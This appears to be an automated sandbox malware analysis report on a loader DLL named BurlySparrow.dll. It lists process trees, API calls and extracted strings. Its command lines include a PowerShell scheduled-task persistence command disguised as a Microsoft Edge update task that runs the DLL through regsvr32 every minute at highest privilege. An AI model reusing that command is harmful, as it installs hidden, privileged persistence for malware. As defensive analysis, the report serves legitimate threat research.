Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000007.00000002.2917895885.000000000429F000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	19:22:07
Start date:	03/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }"
Imagebase:	0x330000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	19:22:07
Start date:	03/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	19:22:12
Start date:	03/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{2F534156-472A-43D2-9350-94580B483BA3}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest"
Imagebase:	0x330000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	19:22:12
Start date:	03/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	19:22:16
Start date:	03/01/2025
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.EXE /S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll
Imagebase:	0x7ff697ac0000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	19:22:16
Start date:	03/01/2025
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll
Imagebase:	0x520000
File size:	20'992 bytes
MD5 hash:	878E47C8656E53AE8A8A21E927C6F7E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	19:22:25
Start date:	03/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }"
Imagebase:	0x330000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7532, Parent PID: 7436

General

Target ID:	18
Start time:	19:22:25
Start date:	03/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	15.4%
Signature Coverage:	31.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	113

Executed Functions

Function 6C8F3C94 Relevance: 107.3, APIs: 48, Strings: 11, Instructions: 4072COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6C8F3CE6
FreeEnvironmentStringsW.KERNEL32(?), ref: 6C8F3E7A
CloseHandle.KERNEL32(?), ref: 6C8F47EA
GetLastError.KERNEL32 ref: 6C8F7943
CloseHandle.KERNEL32(?), ref: 6C8F7FE6

Strings

assertion failed: is_code_point_boundary(self, new_len), xrefs: 6C8F4B85, 6C8F58BB
H, xrefs: 6C8F73DB
?, xrefs: 6C8F6DEE
#$*+-./:?@\_cmd.exe /e:ON /v:OFF /d /c ", xrefs: 6C8F6CFE
PATHstd\src\sys_common\process.rs, xrefs: 6C8F5EF5
program path has no file name, xrefs: 6C8F817C
assertion failed: self.height > 0, xrefs: 6C8F78C7
.exeprogram not found, xrefs: 6C8F4905
\?\\, xrefs: 6C8F4649
exe\\.\NULexit code: , xrefs: 6C8F57AB, 6C8F59F7, 6C8F5B8D, 6C8F5DD1, 6C8F5FCE
]?\\, xrefs: 6C8F4651

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: CloseEnvironmentHandleStrings$ErrorFreeLast
String ID: program path has no file name$#$*+-./:?@\_cmd.exe /e:ON /v:OFF /d /c "$.exeprogram not found$?$H$PATHstd\src\sys_common\process.rs$\?\\$]?\\$assertion failed: is_code_point_boundary(self, new_len)$assertion failed: self.height > 0$exe\\.\NULexit code:
API String ID: 1593577933-2749016963
Opcode ID: 8e86767ae253443d7893b9a13645cf69a95d264f98fbde20e88dd6f3e3d94515
Instruction ID: 50c733ea15049571c02fe84a99038268aed8001b687a251f8283995e9f8f1167
Opcode Fuzzy Hash: 8e86767ae253443d7893b9a13645cf69a95d264f98fbde20e88dd6f3e3d94515
Instruction Fuzzy Hash: E27391719093819FE330CF18CA80B9AB7E1BFC5348F158E2DE8A897751D7759906CB92

Function 6C8543E0 Relevance: 43.4, APIs: 14, Strings: 10, Instructions: 1385
memorysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6C920E90: memcpy.MSVCRT(00000000,?,6C854435,?,?,6C854435,?,?,00000005), ref: 6C920ED2

CreateMutexA.KERNEL32(00000000,00000000,?), ref: 6C85444E
GetLastError.KERNEL32(00000000,00000000,?), ref: 6C854453
memcpy.MSVCRT(00000000,6C9553D4,00022BD5,?,?,?), ref: 6C8544BE
HeapCreate.KERNEL32(00040000,00000000,00000000,?,?,?,?,?,?), ref: 6C8544F0
HeapAlloc.KERNEL32(00000000,00000008,00022BD5,00040000,00000000,00000000,?,?,?,?,?,?), ref: 6C8544FF
GetLastError.KERNEL32(00000000,00000008,00022BD5,00040000,00000000,00000000,?,?,?,?,?,?), ref: 6C854506
memmove.MSVCRT(?,00000000,00022BD5,?,00000000,?,?,?,?,?,?), ref: 6C85454E
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,00000000,?,?,?,?,?,?), ref: 6C85455E

Part of subcall function 6C85AC40: HeapFree.KERNEL32(00000000,0000000C), ref: 6C8E9FA8

memcmp.MSVCRT(?,?,0000000A), ref: 6C8546FF

Strings

not yet implemented, xrefs: 6C8557D7
@H1, xrefs: 6C854847
1 -, xrefs: 6C855509, 6C855512
-, xrefs: 6C854B9D
, xrefs: 6C8549DD
nAj, xrefs: 6C854994
$8g%, xrefs: 6C854973
Vw;c, xrefs: 6C8546BE
a Display implementation returned an error unexpectedly/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs, xrefs: 6C8557F9
~<.5, xrefs: 6C85484C

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Heap$CreateErrorFreeLastmemcpy$AllocMutexmemcmpmemmove
String ID: $ nAj$$8g%$-$1 -$@H1$Vw;c$a Display implementation returned an error unexpectedly/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs$not yet implemented$~<.5
API String ID: 1533937674-4106935003
Opcode ID: 4923ffcd203aa133b9df6b714b994145a58fc1468659bdbd036d7ddc6cd3ec46
Instruction ID: f4cc76f7250980d664516667054c83bc34d8b79636a1f3c2040e172f9ab1c386
Opcode Fuzzy Hash: 4923ffcd203aa133b9df6b714b994145a58fc1468659bdbd036d7ddc6cd3ec46
Instruction Fuzzy Hash: D4D28DB1D002299FDB64CFA4CD81BEEBBB4AF49304F5044A9E909BB741E7719A94CF50

Function 6C874C20 Relevance: 35.8, APIs: 19, Strings: 1, Instructions: 754
memorynativetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessTimes.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 6C874CC7

Part of subcall function 6C89A6B0: GetLastError.KERNEL32(?,6C86131E,6C8577BC,?,6C8577BC,?,?,?,?,6C851F14,?), ref: 6C89A6B3

GetSystemTimes.KERNEL32(00000000,00000000,00000000), ref: 6C874D17
GetProcessIoCounters.KERNEL32(?,?), ref: 6C874FDB
OpenProcessToken.ADVAPI32(?,00000008,?), ref: 6C8750B3
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 6C8750F1
GetProcessHeap.KERNEL32(?,TokenIntegrityLevel,00000000,00000000,00000000), ref: 6C875105
HeapAlloc.KERNEL32(00000000,00000008,00000000,?,TokenIntegrityLevel,00000000,00000000,00000000), ref: 6C87511A
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,?,00000000,00000000,00000008,00000000,?,TokenIntegrityLevel,00000000,00000000,00000000), ref: 6C875135
CloseHandle.KERNEL32(?,?,TokenIntegrityLevel,00000000,00000000,00000000), ref: 6C875259
NtQueryInformationProcess.NTDLL ref: 6C87534A
NtQueryInformationProcess.NTDLL ref: 6C87537D

Strings

P=p, xrefs: 6C875BAD

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Process$Information$Token$HeapQueryTimes$AllocCloseCountersErrorHandleLastOpenSystem
String ID: P=p
API String ID: 2108018208-1494869396
Opcode ID: de807f53dda19503c649355e850e6297b5384502d09da07da3bcffd812359227
Instruction ID: 272af59c72f92779ab5d163ec5c0a02514cc110173b8374210a8e3bce5818fe5
Opcode Fuzzy Hash: de807f53dda19503c649355e850e6297b5384502d09da07da3bcffd812359227
Instruction Fuzzy Hash: 4762A1719093409FD731CF28C984BAEB7E5BFC5304F148A2DE89997651EB31E944CB62

Function 6C855C30 Relevance: 35.4, APIs: 19, Strings: 1, Instructions: 408
libraryloadertimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateTimerQueue.KERNEL32 ref: 6C855C39
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 6C855C50
GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 6C855C5F
LoadLibraryA.KERNEL32(?,?,?,00000000,00000000), ref: 6C855CD9
GetProcAddress.KERNEL32(00000000,24199433), ref: 6C855D44
GetModuleHandleA.KERNEL32(?,?,?,?,?,?,?,00000000,00000000), ref: 6C855D8E
GetProcAddress.KERNEL32(00000000,DA12A734), ref: 6C855DEA
LoadLibraryA.KERNEL32(?,00000000,DA12A734,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C855E39
GetProcAddress.KERNEL32(00000000,ABA9F710), ref: 6C855EA4
LoadLibraryA.KERNEL32(?,00000000,ABA9F710,?,?,00000000,DA12A734,?,?,?,?,?,?,?,?,00000000), ref: 6C855EFE
GetProcAddress.KERNEL32(00000000,1B571B31), ref: 6C855F68
LoadLibraryA.KERNEL32(?,00000000,1B571B31,?,?,00000000,ABA9F710,?,?,00000000,DA12A734,?,?), ref: 6C855FC2
GetProcAddress.KERNEL32(?,D39EAE30), ref: 6C85602C
LoadLibraryA.KERNEL32(D39EAE30,?,D39EAE30,?,?,00000000,1B571B31,?,?,00000000,ABA9F710,?,?,00000000,DA12A734), ref: 6C856083
GetProcAddress.KERNEL32(00000000,?), ref: 6C8560CF
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,00000000,?,?,D39EAE30,?,D39EAE30,?,?,00000000,1B571B31,?,?), ref: 6C856115
WaitForSingleObject.KERNEL32(00000000,?,00000000,00000001,00000000,00000000,00000000,?,?,D39EAE30,?,D39EAE30,?,?,00000000,1B571B31), ref: 6C856124
SetEvent.KERNEL32(00000000,00000000,?,00000000,00000001,00000000,00000000,00000000,?,?,D39EAE30,?,D39EAE30,?,?,00000000), ref: 6C85614C
DeleteTimerQueue.KERNEL32(?), ref: 6C856154

Strings

{?m, xrefs: 6C855E1C

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: AddressProc$LibraryLoad$CreateEvent$HandleModuleQueueTimer$DeleteObjectSingleWait
String ID: {?m
API String ID: 3325657596-405188894
Opcode ID: 3ff4ad5bc09a559fcbc8975c611c26c94fd6ca1015e3abfc24ed74c44d5d8f10
Instruction ID: ce9912aeb018822277bb800d6e0152be34f6d0436e3cc0e6293f0c59614e5907
Opcode Fuzzy Hash: 3ff4ad5bc09a559fcbc8975c611c26c94fd6ca1015e3abfc24ed74c44d5d8f10
Instruction Fuzzy Hash: 270227B1D002689FCF41CFA5D8809EEBBB4BF1D304F55826AE405BB351E7389615CB60

Function 6C856300 Relevance: 28.6, APIs: 13, Strings: 3, Instructions: 554
nativelibrarythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 6C85631D
GetModuleHandleA.KERNEL32(?), ref: 6C85639D
LoadLibraryA.KERNEL32(?,?), ref: 6C8563AA
GetProcAddress.KERNEL32(00000000,?), ref: 6C856432
GetModuleHandleA.KERNEL32(?), ref: 6C8564F4
GetProcAddress.KERNEL32(00000000,?), ref: 6C856571

Part of subcall function 6C920E90: memcpy.MSVCRT(00000000,?,6C854435,?,?,6C854435,?,?,00000005), ref: 6C920ED2

AddVectoredExceptionHandler.KERNEL32(00000001,6C856230), ref: 6C8565C0
NtQueryInformationProcess.NTDLL ref: 6C8565E2
NtQuerySystemInformation.NTDLL ref: 6C85662D
NtOpenThread.NTDLL(00000000,001FFFFF,?,00000000), ref: 6C856707
NtGetContextThread.NTDLL(?,0001003F), ref: 6C856772
NtSetContextThread.NTDLL ref: 6C8567E3
NtClose.NTDLL ref: 6C8567F4

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 6C856971, 6C8569A4, 6C8569D4, 6C856A07
ymR:, xrefs: 6C856514
?, xrefs: 6C85632C

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Thread$AddressContextHandleInformationModuleProcQuery$CloseExceptionHandlerLibraryLoadOpenProcessSystemVectoredmemcpymemset
String ID: ?$called `Result::unwrap()` on an `Err` value$ymR:
API String ID: 731487932-1315676627
Opcode ID: b8e3a2d7afdadd9f56301cd5ec78c371c40f263423c8148e080df9279874600a
Instruction ID: 70167fcaf5a1639c6bac7042fc52a7b6955d1b41fe4906bf691d510a8d9dd35d
Opcode Fuzzy Hash: b8e3a2d7afdadd9f56301cd5ec78c371c40f263423c8148e080df9279874600a
Instruction Fuzzy Hash: 8A22B0B4E012189FEF61CFA4C980BEEB7F4AF19304F548519E814BB781E7B59A54CB60

Function 6C8F26D0 Relevance: 15.6, APIs: 10, Instructions: 571
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(6C855B4B,?,6C8E66C3,?,?,6C855B4B,00000000), ref: 6C8F26D4
GetCurrentProcessId.KERNEL32 ref: 6C8F2730
ProcessPrng.BCRYPTPRIMITIVES(?,00000010), ref: 6C8F2758

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Process$CurrentExitPrng
String ID:
API String ID: 1405477490-0
Opcode ID: 05f8fdad851dff8cd6379f69d47779c643c2be709fb504816d67c3247da4e00f
Instruction ID: a89f14cc12c98bfb920d20605386e157687af30add2842404eed78a63da25113
Opcode Fuzzy Hash: 05f8fdad851dff8cd6379f69d47779c643c2be709fb504816d67c3247da4e00f
Instruction Fuzzy Hash: 8222F2719083919FD324CF28C58475ABBE1BF89348F148E2DF8A897781D779D846CB92

Function 02636530 Relevance: 15.0, APIs: 10, Instructions: 32
threadsleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00005510), ref: 02636535
GetConsoleWindow.KERNEL32(00000000), ref: 0263653D
ShowWindow.USER32(00000000), ref: 02636544
GetCurrentThreadId.KERNEL32 ref: 02636550
PostThreadMessageA.USER32(00000000), ref: 02636557
GetInputState.USER32 ref: 0263655D

Part of subcall function 02635E40: _memset.LIBCMT ref: 02635E71

CreateThread.KERNEL32(00000000,00000000,Function_00005120,00000000,00000000,00000000), ref: 02636577
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02636585
CloseHandle.KERNEL32(0264DA78), ref: 02636591
Sleep.KERNEL32(0000012C), ref: 0263659C

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: Thread$Window$CloseConsoleCreateCurrentExceptionFilterHandleInputMessageObjectPostShowSingleSleepStateUnhandledWait_memset
String ID:
API String ID: 1910205397-0
Opcode ID: 2de2f345751527c1cda5996534d36e3540a4fe83b4f5ed794f6101a8caac6b59
Instruction ID: 0e5f18c1cea4467eebb4bda50e7d1450b8b9f09299a3d6b470974b466e3d1c3f
Opcode Fuzzy Hash: 2de2f345751527c1cda5996534d36e3540a4fe83b4f5ed794f6101a8caac6b59
Instruction Fuzzy Hash: A0F05F7DEC5240BBE7116BB0DC0EF0D36A5AB29B12F901D10B357DA1C4CAA464A08B65

Function 04FA189C Relevance: 11.2, APIs: 7, Instructions: 730memorynativeCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL(CC32C43A,000F001F,00000000,CC32C442,00000040,08000000,00000000,00000000), ref: 04FA1935
NtMapViewOfSection.NTDLL(?,00000000), ref: 04FA19DD
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 04FA1D51
NtMapViewOfSection.NTDLL(?,00000000), ref: 04FA1E06
VirtualProtect.KERNEL32(?,?,00000008,CC32C42A), ref: 04FA1E23
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 04FA1EC6
VirtualProtect.KERNEL32(?,?,00000002,CC32C42A), ref: 04FA1EF9

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID: Virtual$ProtectSection$View$AllocCreate
String ID:
API String ID: 2664363762-0
Opcode ID: 50302c5bc3930a53f7dd9e937765325ad25ded17b8d9d665e66fbcc8a784ede8
Instruction ID: dff64424bcdeff338c92a6b6cc32ea56d382fe4cdb9a890eaba4a77aea14b026
Opcode Fuzzy Hash: 50302c5bc3930a53f7dd9e937765325ad25ded17b8d9d665e66fbcc8a784ede8
Instruction Fuzzy Hash: 3A429BB1A08301AFD724CF24C944B6BB7E9FF88714F06496DF9859B241E730E966CB91

Function 6C85BC60 Relevance: 9.3, APIs: 3, Strings: 2, Instructions: 587
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C85BC92
memcpy.MSVCRT(00000001,?,?), ref: 6C85C3B2

Part of subcall function 6C9232A0: memcpy.MSVCRT(00000001,?,?,?,?,?,?,6C85BBED,?,?,?,8B3B74C0,00000000,00000000), ref: 6C9232DF

Part of subcall function 6C9232A0: memcpy.MSVCRT(00000030,?,?), ref: 6C923337

memcpy.MSVCRT(00000000,?,?,?,?,?,?,?,?,?), ref: 6C85BFDB

Part of subcall function 6C85AC40: HeapFree.KERNEL32(00000000,0000000C), ref: 6C8E9FA8

Strings

unknownARM x64C:\Users\win10-x64\.cargo\registry\src\index.crates.io-1cd66030c949c28d\sysinfo-0.32.0\src\windows\cpu.rs, xrefs: 6C85BFB1
0, xrefs: 6C85BDA1

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memcpy$FreeHeapInfoSystem
String ID: 0$unknownARM x64C:\Users\win10-x64\.cargo\registry\src\index.crates.io-1cd66030c949c28d\sysinfo-0.32.0\src\windows\cpu.rs
API String ID: 1878083305-108933894
Opcode ID: eef4f53fa6d08433e55ed710b7023c77dd1d16fb77e0592ee1f50f1c8283410b
Instruction ID: f3b09253db005477455784e8b308f1bee93df94dfa90360540db53861a880d34
Opcode Fuzzy Hash: eef4f53fa6d08433e55ed710b7023c77dd1d16fb77e0592ee1f50f1c8283410b
Instruction Fuzzy Hash: 5022E371A087009FD3A0DF24C980BABB7E4AF99708F504D2DF88897752D7B1D855CB92

Function 6C876890 Relevance: 3.2, APIs: 2, Instructions: 241nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL ref: 6C8768A8
NtQueryInformationProcess.NTDLL ref: 6C876940

Part of subcall function 6C89A890: GetErrorInfo.OLEAUT32(00000000,00000000,00000000,?,?,6C8768BC,00000000,?,0000003C,00000000), ref: 6C89A8A5

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

